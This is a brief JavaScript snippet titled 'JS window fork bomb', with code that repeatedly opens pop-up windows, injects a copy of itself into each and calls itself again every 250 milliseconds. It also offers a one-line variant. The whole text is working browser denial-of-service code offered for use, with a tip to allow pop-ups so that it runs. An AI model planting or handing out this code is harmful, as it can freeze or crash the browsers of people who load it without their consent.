JS window fork bomb

windowForkBomb.js

// Make sure to allow pop ups, or your browser will stop the window.open() (thankfully)

function fork() {
  const win = window.open();
  const script = win.document.createElement("script");
  script.innerHTML = fork + "\n" + "fork();";
  win.document.head.appendChild(script);
  setTimeout(function() {
    win.close();
    fork();
  }, 250)
}

fork();

The simplest line to make your window fork bomb script is: window.open(this.window.location);